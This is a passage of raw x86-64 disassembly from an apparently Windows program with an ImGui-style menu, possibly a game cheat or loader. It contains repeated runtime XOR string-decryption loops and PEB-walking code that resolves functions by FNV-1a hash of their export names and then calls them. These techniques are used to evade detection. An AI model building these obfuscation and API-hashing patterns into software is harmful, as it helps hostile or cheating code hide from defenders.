movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x584]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007da20
cmp r8d, 0x13
jge 0x14007db70
movsxd rax, r8d
lea r9, [rbp + 0x580]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14007db40
movdqa xmmword [rsp + 0x50], xmm7
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140175708]
mov qword [rsp + 0x28], rax
lea rax, [0x140175700]
mov qword [rsp + 0x20], rax
lea r9, [0x1401756f8]
xor r8d, r8d
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x580]
call fcn.14003f910
test al, al
je 0x14007dbed
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401796ba], 0
mov byte [0x1401796bb], 0
mov dword [rbp + 0x2c8], 0
mov dword [rbp + 0x2cc], 0x436b0000
lea rcx, [rbp + 0x2c8]
call fcn.140025c30
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x1401476d0]
mov dword [rbp + 0x2d0], 0x43480000
mov dword [rbp + 0x2d4], 0x42200000
movups xmm0, xmmword [0x1401449c0]
movups xmmword [rbp + 0x688], xmm0
movsd xmm0, qword [0x1401449d0]
movsd qword [rbp + 0x698], xmm0
movzx eax, word [0x1401449d8]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x1401449da]
mov byte [rbp + 0x6a2], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007ddb5
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x68c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007dcb0
cmp r8d, 0x1b
jge 0x14007de00
movsxd rax, r8d
lea r9, [rbp + 0x688]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14007ddd0
movdqa xmmword [rsp + 0x50], xmm7
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140175720]
mov qword [rsp + 0x28], rax
lea rax, [0x140175718]
mov qword [rsp + 0x20], rax
lea r9, [0x140175710]
xor r8d, r8d
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x688]
call fcn.14003f910
test al, al
je 0x14007de7d
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401796ba], 1
mov byte [0x1401796bb], 0
mov qword [rbp + 0x2d8], 0
lea rcx, [rbp + 0x2d8]
call fcn.140025c30
mov rcx, qword [0x1401795d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm10, dword [0x14014755c]
movaps xmm3, xmm10
movaps xmm2, xmm11
movaps xmm0, xmm11
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0xd80]
call fcn.140009a30
movss xmm1, dword [rbp + 0xd84]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0xd80]
addss xmm0, xmm6
movss dword [rbp + 0xdb8], xmm6
movss dword [rbp + 0xdbc], xmm7
movss dword [rbp + 0xdc0], xmm0
movss dword [rbp + 0xdc4], xmm1
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0xdc0]
lea rdx, [rbp + 0xdb8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f700
mov dword [rdi + 0xf4], 0x3f800000
mov dword [rdi + 0xf8], 0x3f800000
mov dword [rdi + 0xfc], 0x3f800000
mov dword [rdi + 0x100], 0x437f0000
mov dword [rdi + 0x114], 0x3f6b851f
mov dword [rdi + 0x118], 0x3e3851ec
mov dword [rdi + 0x11c], 0x3e947ae1
mov dword [rdi + 0x120], 0x3f800000
mov dword [rbp + 0x2e0], 0
mov dword [rbp + 0x2e4], 0x43660000
lea rcx, [rbp + 0x2e0]
call fcn.140025c30
mov dword [rbp + 0x2e8], 0
mov dword [rbp + 0x2ec], 0x43910000
lea rcx, [rbp + 0x2e8]
call fcn.140025c30
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
mov dword [rbp + 0x2f0], 0x425c0000
mov dword [rbp + 0x2f4], 0x43c80000
lea rcx, [rbp + 0x2f0]
call fcn.140025c30
mov dword [rdi + 0x224], 0x3d5d2f1b
mov dword [rdi + 0x228], 0x3d5d2f1b
mov dword [rdi + 0x22c], 0x3d5d2f1b
mov dword [rdi + 0x230], 0x437f0000
mov dword [rdi + 0xf4], 0x3d5d2f1b
mov dword [rdi + 0xf8], 0x3d5d2f1b
mov dword [rdi + 0xfc], 0x3d5d2f1b
mov dword [rdi + 0x100], 0x43280000
mov dword [rdi + 0x114], 0x3da7ef9e
mov dword [rdi + 0x118], 0x3d9fbe77
mov qword [rdi + 0x11c], 0x3d9fbe77
movaps xmm0, xmmword [0x140102110]
movups xmmword [rbp + 0x980], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x990], xmm1
mov dword [rbp + 0x2f8], 0x3f800000
mov dword [rbp + 0x2fc], 0x3f800000
mov qword [rbp + 0x300], 0
mov dword [rbp + 0x308], 0x42140000
mov dword [rbp + 0x30c], 0x41e00000
lea rax, [rbp + 0x980]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x990]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x2f8]
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0x308]
mov rcx, rsi
call fcn.140047360
test al, al
je 0x14007e389
movups xmm0, xmmword [0x1401449e0]
movups xmmword [rbp + 0x860], xmm0
movups xmm1, xmmword [0x1401449f0]
movups xmmword [rbp + 0x870], xmm1
mov eax, dword [0x140144a00]
mov dword [rbp + 0x880], eax
mov r8d, r12d
cmp r13d, 2
jl 0x14007e285
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x864]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007e180
cmp r8d, 0x24
jge 0x14007e2d0
movsxd rax, r8d
lea r9, [rbp + 0x860]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14007e2a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007e364
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007e364
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007e35f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007e340
cmp edx, 0x491e0a9c
je 0x14007e369
test r9d, r9d
jne 0x14007e320
mov rax, qword [rax]
jmp 0x14007e2f0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x860]
call rax
mov dword [rbp + 0x310], 0x41200000
mov dword [rbp + 0x314], 0x43d70000
lea rcx, [rbp + 0x310]
call fcn.140025c30
mov rcx, r14
call fcn.140025a30
movaps xmm7, xmmword [0x140147680]
movups xmm8, xmmword [0x140175300]
mov dword [rbp + 0x318], 0x42f40000
mov dword [rbp + 0x31c], 0x41e00000
movups xmm0, xmmword [str.PETWK]
movups xmmword [rbp + 0x670], xmm0
mov eax, dword [0x140144a18]
mov dword [rbp + 0x680], eax
movzx eax, word [0x140144a1c]
mov word [rbp + 0x684], ax
cmp byte [0x140144a1d], 0
je 0x14007e5a0
mov r8d, r12d
cmp r13d, 2
jl 0x14007e555
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x674]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007e450
cmp r8d, 0x16
jge 0x14007e5a0
movsxd rax, r8d
lea r9, [rbp + 0x670]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14007e570
movdqa xmmword [rsp + 0x50], xmm7
movdqa xmmword [rsp + 0x60], xmm8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175738]
mov qword [rsp + 0x28], rax
lea rax, [0x140175730]
mov qword [rsp + 0x20], rax
lea r9, [0x140175728]
xor r8d, r8d
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x670]
call fcn.14003fdb0
test al, al
je 0x14007e879
movups xmm0, xmmword [str.GAWEL]
movups xmmword [rbp + 0x7e8], xmm0
movups xmm1, xmmword [0x140144a30]
movups xmmword [rbp + 0x7f8], xmm1
mov eax, dword [str.a_cW]
mov dword [rbp + 0x808], eax
mov r8d, r12d
cmp r13d, 2
jl 0x14007e775
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7ec]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007e670
cmp r8d, 0x24
jge 0x14007e7c0
movsxd rax, r8d
lea r9, [rbp + 0x7e8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14007e790
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007e854
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007e854
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007e84f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007e830
cmp edx, 0x491e0a9c
je 0x14007e859
test r9d, r9d
jne 0x14007e810
mov rax, qword [rax]
jmp 0x14007e7e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x7e8]
call rax
call fcn.140015af0
mov qword [rbp + 0x320], 0x43160000
lea rcx, [rbp + 0x320]
call fcn.140025c30
movss xmm8, dword [0x140147558]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007f865
mov qword [rbp + 0x328], 0x43160000
lea rcx, [rbp + 0x328]
call fcn.140025c30
mov rcx, r15
call fcn.140025a30
call fcn.1400196e0
mov rdi, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
xorps xmm0, xmm0
movups xmmword [rbp + 0xe68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe78], xmm1
xor r8d, r8d
lea rdx, [0x1400fbb04]
lea rcx, [rbp + 0xe68]
call fcn.140056200
nop
mov dword [rbp + 0x330], 0x44138000
mov dword [rbp + 0x334], 0x43e60000
movsd xmm0, qword [0x140144a48]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140144a50]
mov word [rbp - 0x48], ax
cmp byte [0x140144a51], 0
je 0x14007e987
mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x4f], 0x35
xor byte [rbp - 0x4e], 0x36
xor byte [rbp - 0x4d], 0x37
xor byte [rbp - 0x4c], 0x38
xor byte [rbp - 0x4b], 0x39
xor byte [rbp - 0x4a], 0x3a
xor byte [rbp - 0x49], 0x3b
xor byte [rbp - 0x48], 0x3c
xor byte [rbp - 0x47], 0x3d
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x330]
lea rcx, [rbp - 0x50]
call fcn.140007ed0
mov dword [rbp + 0x338], 0x42480000
mov dword [rbp + 0x33c], 0x42480000
lea rcx, [rbp + 0x338]
call fcn.140025c30
mov rcx, qword [0x1401795d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm1, dword [0x140147554]
movaps xmm3, xmm1
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0xd70]
call fcn.140009a30
movss xmm1, dword [rbp + 0xd74]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0xd70]
addss xmm0, xmm6
movss dword [rbp + 0xda8], xmm6
movss dword [rbp + 0xdac], xmm7
movss dword [rbp + 0xdb0], xmm0
movss dword [rbp + 0xdb4], xmm1
mov dword [rsp + 0x30], 0xff0b0b0b
mov dword [rsp + 0x28], 0xff0b0b0b
mov dword [rsp + 0x20], 0xff0b0b0b
mov r9d, 0xff0b0b0b
lea r8, [rbp + 0xdb0]
lea rdx, [rbp + 0xda8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f700
mov dword [rdi + 0xd4], 0x3f800000
mov dword [rdi + 0xd8], 0x3f800000
mov dword [rdi + 0xdc], 0x3f800000
mov dword [rdi + 0xe0], 0x3f800000
mov dword [rbp + 0x340], 0x42700000
mov dword [rbp + 0x344], 0x42700000
lea rcx, [rbp + 0x340]
call fcn.140025c30
mov rcx, qword [rbp + 0x348]
call fcn.140025a30
movsd xmm0, qword [str.bFROXH]
movsd qword [rbp + 0x158], xmm0
mov eax, dword [0x140144a60]
mov dword [rbp + 0x160], eax
movzx eax, word [0x140144a64]
mov word [rbp + 0x164], ax
movzx eax, byte [0x140144a66]
mov byte [rbp + 0x166], al
mov r8d, r12d
cmp r13d, 2
jl 0x14007ec20
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bFROXH]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14007ec30
lea rcx, [rbp + 0x158]
call fcn.14004f2d0
mov dword [rbp + 0x350], 0x43820000
mov dword [rbp + 0x354], 0x425c0000
lea rcx, [rbp + 0x350]
call fcn.140025c30
movaps xmm6, xmmword [0x1401476c0]
movaps xmm7, xmmword [0x1401476b0]
mov dword [rbp + 0x438], 0x43020000
mov dword [rbp + 0x43c], 0x42480000
mov rax, qword [0x140144a68]
mov qword [rbp + 0xb8], rax
cmp byte [str._GAWEL], 0
je 0x14007ee20
cmp r13d, 2
jl 0x14007edd7
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb8]
xorps xmm2, xmm1
movd dword [rbp + 0xb8], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
jmp 0x14007ee20
lea r9, [rbp + 0xb8]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
